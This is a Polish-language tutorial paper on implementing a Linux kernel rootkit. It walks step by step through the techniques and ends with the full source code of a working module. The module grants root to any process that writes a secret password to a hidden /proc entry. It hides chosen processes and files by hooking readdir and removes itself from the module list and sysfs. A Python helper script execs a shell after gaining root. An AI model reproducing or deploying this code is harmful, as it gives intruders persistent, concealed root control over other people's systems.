Page 1

Prosta, wysokopoziomowa implementacja rootkita dla Linuksa. Arkadiusz „Ivyl” Hiler

Michał „t3hknr” Winiarski

Styczeń 2012

1


Streszczenie Opis metod i technik użytych przy implementacji modułu jądra umożliwającego intruzowi utrzymanie kontroli nad systemem oraz ukrycie swoich działań. Moduł umożliwia uzyskanie praw roota oraz ukrycie plików, procesów oraz samego siebie. Wydawanie rozkazów jak i sprawdzanie stanu rootkita odbywa sie za pomocą ukrytego wpisu w /proc. Pełen kod rootkita został zamieszony na końcu ninejszego dokumenu oraz na https://github.com/ivyl/rootkit

2


Spis treści 1 Wstęp 1.1 Metody zdobywania wiedzy . . . . . . . . . . . . . . . . . . . . . 1.2 Środowisko . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

4 4 4

2 Makefile

4

3 Właściwa implementacja 3.1 Struktura modułu . . . . . . . . . . . . . . . . . . 3.2 Wpis w /proc . . . . . . . . . . . . . . . . . . . . . 3.2.1 Read . . . . . . . . . . . . . . . . . . . . . . 3.2.2 Write . . . . . . . . . . . . . . . . . . . . . 3.2.3 Podniesienie uprawnień . . . . . . . . . . . 3.2.4 Uwagi . . . . . . . . . . . . . . . . . . . . . 3.3 Wydawanie rozkazów poprzez wpis . . . . . . . . . 3.4 Ukrycie wpisów w /proc . . . . . . . . . . . . . . . 3.4.1 Użyteczność . . . . . . . . . . . . . . . . . . 3.4.2 Wyciągnięcie file_operations . . . . . . . 3.4.3 Własne readdir i filldir . . . . . . . . . 3.4.4 Zmiana trybu dostepu do strony w pamięci 3.5 Ukrycie wpisów w systemie plików . . . . . . . . . 3.5.1 Wyciągnięcie file_operations . . . . . . . 3.6 Ukrycie modułu . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

5 5 5 6 6 7 7 8 8 8 8 8 9 10 10 10

4 Podsumowanie

11

5 Pełen kod

11

3


1

Wstęp

1.1

Metody zdobywania wiedzy

Podstawowy opis struktur file i file_operations, techniki debugowania, czy budowy i uruchamiania modułów można znaleźć w „Linux Device Drivers”[1]. Następny w kolejności źródłem infromacji jest sam kod źródłowy kernela. Poszukiwanie funkcji najlepiej zacząć od przeszukania plików nagłówkowych zawierających ich deklaracje (katalog include/). Łatwo można skonstruować wyrażenia regularne szukające prototypu zwracającego interesujący nas typ i zawierającego interesujące nas słowo. Szukania przykładowego użycia można dokonać w pozostałych katalogach, zawierających sterowniki i samą implementację. Do przeglądania zagadnień najlepiej nadaje się dokumentacja jądra (Documentation/). W dokumencie ograniczymy się do pobieżnej analizy potrzebnych nam funkcji i struktur, pomijając nieistotne pola. Zachęcamy do pełnej samodzielnej analizy plików nagłówkowych.

1.2

Środowisko

Moduł zbudowany w oparciu o przedstawione techniki z powodzeniem był kompilowany oraz działa na jądrze 3.1.0 oraz 3.1.5. Użyto gcc w wersji 4.6.x. Nie powinno być jednak problemu z innymi wersjami gcc jak i jądrami w wersji większej lub równej od 2.6.26 (wcześniej nie była eksportowana funkcja lookup_address). Testy przeprowadzono zarówno na jądrze skompilowanym pod architekturzę x86 jak i x86_64.

2

Makefile

Użyliśmy standardowgo pliku Makefile opisanego w LDD[1]: ifneq ($(KERNELRELEASE),) obj-m := rt.o else KERNELDIR ?= /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KERNELDIR) M=$(PWD) modules endif Wykonanie polecenia make powoduje samodzielnie ustawienie środowiska do budowania na podstawie symlinku build w katalogu zawierającym moduły aktualnie używanego jądra.

4


3 3.1

Właściwa implementacja Struktura modułu

Stworzenie nowego modułu wymaga oznaczenia dwóch funkcji za pomocą makr module_init i module_exit (plik nagłówkowy linux/init.h). Prototypy jak w przykładzie: #include <linux/init.h> #include <linux/module.h> MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>"); MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>"); static int __init rootkit_init(void) { return 0; } static void __exit rootkit_exit(void) { } module_init(rootkit_init); module_exit(rootkit_exit); __init oraz __exit to makra oznaczające funkcje używane jedynie przy ładowaniu/zwalnianiu modułu, dzięki czemu może zwolnić zajmowane przez nie zasoby. Znaczenie makr MODULE_AUTHOR oraz MODULE_LICENSE (linux/module.h) jest oczywiste. Na szczególną uwagę zasługuje użycie modyfikatora static. Gwarantuje on nam, że funkcja nie jest widoczna na zewnątrz naszego kodu (żadne symbole nie są eksportowane). Postaramy się używać go przy każdej definicji w celu lepszego ukrycia modułu jądra.

3.2

Wpis w /proc

Interesujące nas funkcje znajdują się w pliku nagłówkowym linux/proc_fs.h. struct proc_dir_entry *create_proc_entry(const char *name, mode_t mode, struct proc_dir_entry *parent); Pierwszy parametr to zwyczajnie nazwa, drugi to tryb dostępu, najłatwiej podać ósemkowo. Ostatnim parametrem jest rodzic w procfs, gdy podamy NULL, wpis tworzony jest w procfs root. Należy pamiętać o sprawdzaniu czy zwracana jest poprawna struktura (nie NULL). Przy wyładowywaniu modułu należy pamiętać o usunięciu wpisu: 5


remove_proc_entry(const char *name, struct proc_dir_entry *parent); Struktura proc_dir_entry zwracana przez powyższą funkcję zawiera m.in. wskaźniki na funkcje używane przy odczycie/zapisie do pliku. Interesujące nas pola to read_proc oraz write_proc[3]. Prototypy funkcji na które wskazują: int read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data); int write(struct file *file, const char __user *buff, unsigned long count, void *data); 3.2.1

Read

Pierwsza funkcja zwrotna jest wywoływana gdy odczytujemy z pliku. Pierwszym paramterem jest bufor, do którego mamy zapisywać, drugi to jego położenie w pamięci, można użyć np. do zaalokowania własnego bufora, trzeci to offset, od którego chcemy zacząć czytać, czwarty to rozmiar buffora, który dostaliśmy, piąty wskazuje eof (po wpisaniu 1 pod adres), szóty to wkaźnik na dodatkowe dane. Funkcja zwraca liczbę wypisanych znaków. Przykładowa bezpieczna implementacja przy założeniu, że mamy zaalokowany odpowiednio duży char[] module_status: int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { int size; //build module_status size = strlen(module_status); if (off >= size) return 0; if (count >= size-off) { memcpy(buffer, module_status+off, size-off); } else { memcpy(buffer, module_status+off, count); } return size-off; } Podana wyżej implementacja gwarantuje nam nieprzekroczenie obszaru bufora, zakończneie odczytu (zwrócenie zero przy próbie odczytu poza obszarem, nie używamy eof) oraz poprawną obsługę programów do czytania stronami (less, more) dzięki obsłudze offsetu. 3.2.2

Write

Parametrami, które nas interesują jest buff, czyli bufor wejściowy oraz count czyli rozmiar danych przekazanych w buforze. Pozostałe parametry to struk6


tura file opisująca plik do którego piszemy oraz wskaźnik na dodatkowe dane. Funkcja zwraca liczbę przetworzonych znaków. Wystarczy porównywać zawartość bufora z komendą i wyciągnąć ewentualne dodatkowe informacje. Należy pamiętać o rozmiarze bufora i liczbie znaków. int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "secreet pass", MIN(11, count))) { } return count; } Powyżej użyte zostało makro: #define MIN(a,b) \ ({ typeof (a) _a = (a); \ typeof (b) _b = (b); \ _a < _b ? _a : _b; })

3.2.3

Podniesienie uprawnień

W pliku nagłówkowym linux/cred.h znajduje się funkcje które pozwalają na pobranie uprawnień aktualnie wykonywanego procesu oraz ich ponowne zapisanie. prepare_creds() zwraca nam strukturę cred z informacjami o bieżacym procesie i jego uprawnienaich, zaś commit_creds(struct cred*) ustawia procesowi nowe wartości na podstawie podanej struktury. Interesują nas pola uid, gid, euid oraz egid (user id, group id oraz ich efektywne wersje). W pobranej strukturze należy zmienić wartość tych pól na 0 (root) po czym zatwierdzić nowe ustawienia. struct cred *credentials = prepare_creds(); credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; commit_creds(credentials); Wewnątrz funkcji write aktualnie wykonywnem procesem będzie proces, który pisał do pliku w /proc, więc można tam dokonać zmiany. 3.2.4

Uwagi

Łatwo złożyć powyższe informacje w całość, która po wydaniu odpowiedniego rozkazu do wpisu w /proc daje nam uprawnienia roota. Obie funkcje (read i wrtie) są w zasadzie gotowe do przypisania do odpowienich pól struktury. Do budowy odpowiedzi jak i sprawdzania wejścia możemy użyć funkcji z linux/string.h. Znajdziemy tam klasyczne funkcje porównania(strcmp, strncmp) budowy łańcuchów (sprintf) czy kopiowania. 7


3.3

Wydawanie rozkazów poprzez wpis

#!/usr/bin/env python import sys import os def order(command): f = open("/proc/rtkit", "w") f.write(command) f.close() if len(sys.argv) > 1: order(sys.argv[1]) if len(sys.argv) > 2: os.execl(sys.argv[2], "") Powyższy program zapisuje pierwszy przekazany argument do wpisu w /proc. Jeżeli podany jest drugi argument, to uruchamiany jest wskazywany przezeń program (np. po dostaniu roota odpalamy powłokę bash).

3.4 3.4.1

Ukrycie wpisów w /proc Użyteczność

Ukrywanie plików w /proc może posłużyć do ukrycia wpisu stworzonego przez nas jak i ukrycia procesów w systemie. Programy pokroju ps i top listują katalogi w /proc reprezentujące procesy. Ukrycie tych katalogów skutkuje ukryciem procesów. 3.4.2

Wyciągnięcie file_operations

Zmian tych można dokonać poprzez zastąpienie używanej funkcji readdir, która zamienia funkcję filldir przekazywaną do oryginału. Wskaźnik do funkcji readdir znajduje się w strukturze file_operations. Interesuje nas struktura dla /proc. Wskaźnik na file_operations można znaleść w strukturze proc_dir_entry. Nasz nowo utworzony plik w /proc zawiera wskaźnik na rodzica - w tym wypadku sam /proc. Pole proc_fops zawiera interesującą nas strukturę. proc_rtkit->parent->proc_fops 3.4.3

Własne readdir i filldir

Własna wersja readdir ma za zadanie jedynie opakować oryginalne filldir w naszą własną wersję. Uzywamy do tego globalnej statycznej zmiennej. filldir natomiast ma zwracać 0 jeśli chemy ukryć wpis lub też wywoływać oryginał. Pozwolimy pominąć sobie opis prototypów funkcji i przejść do implementacji:

8


int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; //some static variable return proc_readdir_orig(filp, dirent, proc_filldir_new); } int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (!strcmp(name, "rtkit")) return 0; return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); } Użycie globalnej zmiennej nie powoduje kłopotów w razie przypadkowego wywłaszczenia. filldir jest zawsze takie samo, nie ma niestety innego sposobu na jego wyciągniecie niż zrobieni tego w ciele readdir. 3.4.4

Zmiana trybu dostepu do strony w pamięci

Niestety bezpośrednia podmiana wskaźnika w strukturze nie jest możliwa z dwóch powodów. Po pierwsze, wskaźnik jest typu const i potrzebne jest odpowiednie rzutowanie, po drugie ze wzgledu na oznaczenie strony pamięci, na której znajduje się struktura file_operations jako tylko do odczytu. Kończy się to błędem typu Kernel Oops z komunikatem „unable to handle kernel paging” istnieje kilka metod zmiany trybu strony, jednak większość ma pewne dodatkowe ograniczenia (np. nie zmienianie trybu strony znajdującej się w obszarze .rodata). W kernelu w wersji 2.6.26 lub wyższej eksportowana jest metoda o prototypie[2]: pte_t *lookup_address(unsigned long addr, unsigned int *level); Wyciąga ona struturę pte_t zawierającą pole pte pozwalające na zmianę trybu dostępu (maska bitowa). Interesuje nas ustawienie _PAGE_RW po czym posprzątanie po sobie. Wymaga to od nas rzutowania wskaźnika na struturę na typ unsigned long. Ze względu na potrzebę użycia tego w kilku miejscach stwórzmy sobie metody pomocnicze: void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; } void set_addr_ro(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); pte->pte = pte->pte &~_PAGE_RW; }

9


Przez wkaźnik przekazywany jako drugi parametr zwracany jest poziom strony, który ignorujemy. Po wykonaniu set_addr_rw(proc_fops) można dokonać podmiany, po czym należy wrócić do trybu tylko do odczytu: set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops); Pamiętajmy też o zapamiętaniu oryginału, by móc przywrócić stan pierwotny przy wyładowywaniu modułu.

3.5 3.5.1

Ukrycie wpisów w systemie plików Wyciągnięcie file_operations

Wszystko odbywa się analogicznie do ukrywania wpisów w /proc. Jedynej trudności nastręcza wyciągniecie struktury file_operations. Systemy plików rejestrowane są w podsystemie VFS. Stamtąd można wyciągnąć jedynie wkaźnik na funkcję używaną do montowania dla systemu plików o konkretnej nazwie. Najlepszą i najbezpieczniejszą metodą (gwarantującą podmianą readdir dla używanego systemu plików) jest użycie funkcji: struct file *filp_open (const char *filename, int flags, int mode); Jako flags podajemy O_RDONLY, mode jest istotny tylko przy użyciu flagi O_CREAT, więc podajemy cokolwiek. Najlepiej otworzyć folder, którego istnienia zawsze jesteśmy pewni, np. /etc. Struktura file zawiera pole f_op będące wskaźnikiem na file_operations (pamiętać o rzutowniu, jest typu const, oraz o zmianie trybu strony). Po czym plik należy zamknąć int filp_close(struct file *filp, fl_owner_t id); ID dotyczy wątku zarządzającego, podajemy NULL Funkcje te opisane są w pliku nagłówkowym linux/fs.h.

3.6

Ukrycie modułu

Podstawowym zabiegiem jest wcześniej wspomniane używanie modyfikatora static. Dzięki temu unikniemy pojawienia się wpisów w /proc/kallsyms. Dodatkowo należy usunać moduł z listy modułów (nie będzie widoczny przez lsmod) i zadbać o wyrejestrowanie obiektów kobject, które mają swoją reprezentację w /sys. Posłużymy się metodami list_del(struct list_head*) oraz kobject_del(struct kobject*). list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); THIS_MODULE to makro dające dostęp do struktury opisjącej bieżący moduł. Można zapamiętać poprzedniki (pole prev) w celu powrotnego dodania na rozkaz (umożliwienie wyładowania modułu). 10


4

Podsumowanie

Z odrobiną własnej inwencji można złożyć powyższe w całość, zaimplementować rozkaz ukrywania PIDów, itd. Poniżej zamieściliśmy listnig kodu w pełni funkcjonującego rootkita.

5 1 2 3 4 5 6

Pełen kod

#include #include #include #include #include #include

<linux/init.h> <linux/module.h> <linux/proc_fs.h> <linux/string.h> <linux/cred.h> <linux/fs.h>

7 8 9 10 11

#define MIN(a,b) \ ({ typeof (a) _a = (a); \ typeof (b) _b = (b); \ _a < _b ? _a : _b; })

12 13 14

#define MAX_PIDS 50

15 16 17 18

MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>"); MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");

19 20 21 22 23

//STATIC VARIABLES SECTION //we don’t want to have it visible in kallsyms and have access to it all the time static struct proc_dir_entry *proc_root; static struct proc_dir_entry *proc_rtkit;

24 25 26

static int (*proc_readdir_orig)(struct file *, void *, filldir_t); static int (*fs_readdir_orig)(struct file *, void *, filldir_t);

27 28 29

static filldir_t proc_filldir_orig; static filldir_t fs_filldir_orig;

30 31 32

static struct file_operations *proc_fops; static struct file_operations *fs_fops;

33 34 35

static struct list_head *module_previous; static struct list_head *module_kobj_previous;

36 37 38

static char pids_to_hide[MAX_PIDS][8]; static int current_pid = 0;

39 40

static char hide_files = 1;

41 42

static char module_hidden = 0;

43 44

static char module_status[1024];

45 46 47 48 49 50 51 52

//MODULE HELPERS void module_hide(void) { if (module_hidden) return; module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj);

11


list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden;

53 54 55

}

56 57 58 59 60 61 62 63

void module_show(void) { int result; if (!module_hidden) return; list_add(&THIS_MODULE->list, module_previous); result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); module_hidden = !module_hidden; }

64 65 66 67 68 69 70

//PAGE RW HELPERS static void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; }

71 72 73 74 75 76

static void set_addr_ro(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); pte->pte = pte->pte &~_PAGE_RW; }

77 78 79 80 81 82 83 84 85 86

//CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { if (!strcmp(name, pids_to_hide[i])) return 0; } if (!strcmp(name, "rtkit")) return 0; return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); }

87 88 89 90 91

static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); }

92 93 94 95 96

static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0; return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); }

97 98 99 100 101

static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); }

102 103 104

static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { int size;

105 106 107 108 109 110 111 112 113 114

sprintf(module_status, "RTKIT\n\ DESC:\n\ hides files prefixed with __rt or 10-__rt and gives root\n\ CMNDS:\n\ mypenislong - uid and gid 0 for writing process\n\ hpXXXX - hides proc with id XXXX\n\ up - unhides last process\n\ thf - toogles file hiding\n\

12


115 116 117 118 119 120

mh - module hide\n\ ms - module show\n\ STATUS\n\ fshide: %d\n\ pids_hidden: %d\n\ module_hidden: %d\n", hide_files, current_pid, module_hidden);

121

size = strlen(module_status);

122 123

if (off >= size) return 0;

124 125

if (count >= size-off) { memcpy(buffer, module_status+off, size-off); } else { memcpy(buffer, module_status+off, count); }

126 127 128 129 130 131

return size-off;

132 133

}

134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151

static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypenislong", MIN(11, count))) { //changes to root struct cred *credentials = prepare_creds(); credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; commit_creds(credentials); } else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); } else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process if (current_pid > 0) current_pid--; } else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs hide_files = !hide_files; } else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide module_hide(); } else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide module_show(); }

152

return count;

153 154

}

155 156 157 158 159 160 161 162 163 164 165 166 167

//INITIALIZING/CLEANING HELPER METHODS SECTION static void procfs_clean(void) { if (proc_rtkit != NULL) { remove_proc_entry("rtkit", NULL); proc_rtkit = NULL; } if (proc_fops != NULL && proc_readdir_orig != NULL) { set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_orig; set_addr_ro(proc_fops); } }

168 169 170 171 172 173 174 175

static void fs_clean(void) { if (fs_fops != NULL && fs_readdir_orig != NULL) { set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_orig; set_addr_ro(fs_fops); } }

176

13


177 178 179 180 181 182 183 184 185 186

static int __init procfs_init(void) { //new entry in proc root with 666 rights proc_rtkit = create_proc_entry("rtkit", 0666, NULL); if (proc_rtkit == NULL) return 0; proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } proc_rtkit->read_proc = rtkit_read; proc_rtkit->write_proc = rtkit_write;

187

//substitute proc readdir to our wersion (using page mode change) proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_readdir_orig = proc_fops->readdir; set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops);

188 189 190 191 192 193 194

return 1;

195 196

}

197 198 199

static int __init fs_init(void) { struct file *etc_filp;

200

//get file_operations of /etc etc_filp = filp_open("/etc", O_RDONLY, 0); if (etc_filp == NULL) return 0; fs_fops = (struct file_operations *) etc_filp->f_op; filp_close(etc_filp, NULL);

201 202 203 204 205 206

//substitute readdir of fs on which /etc is fs_readdir_orig = fs_fops->readdir; set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_new; set_addr_ro(fs_fops);

207 208 209 210 211 212

return 1;

213 214

}

215 216 217 218 219 220 221 222 223 224

//MODULE INIT/EXIT static int __init rootkit_init(void) { if (!procfs_init() || !fs_init()) { procfs_clean(); fs_clean(); return 1; } module_hide();

225

return 0;

226 227

}

228 229 230 231 232

static void __exit rootkit_exit(void) { procfs_clean(); fs_clean(); }

233 234 235

module_init(rootkit_init); module_exit(rootkit_exit);

14


Literatura [1] Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman Linux Device Drivers. Oâ&#x20AC;&#x2122;Reilly, 3rd Edition, 2005. [2] Corey Henderson Linux Kernel: System call hooking example, Stackoverflow discussion. http://stackoverflow.com/questions/2103315/linux-kernelsystem-call-hooking-example [3] Peter Jay Salzman, Michael Burian, and Ori Pomerantz The Linux Kernel Module Programming Guide. http://linux.die.net/lkmpg/

15

Prosta, wysokopoziomowa implementacja rootkita dla Linuksa.  

Opis implementacji. Krok po kroku, z wyjaśnieniem zawiłości jądra.

Read more
Read more
Similar to
Popular now
Just for you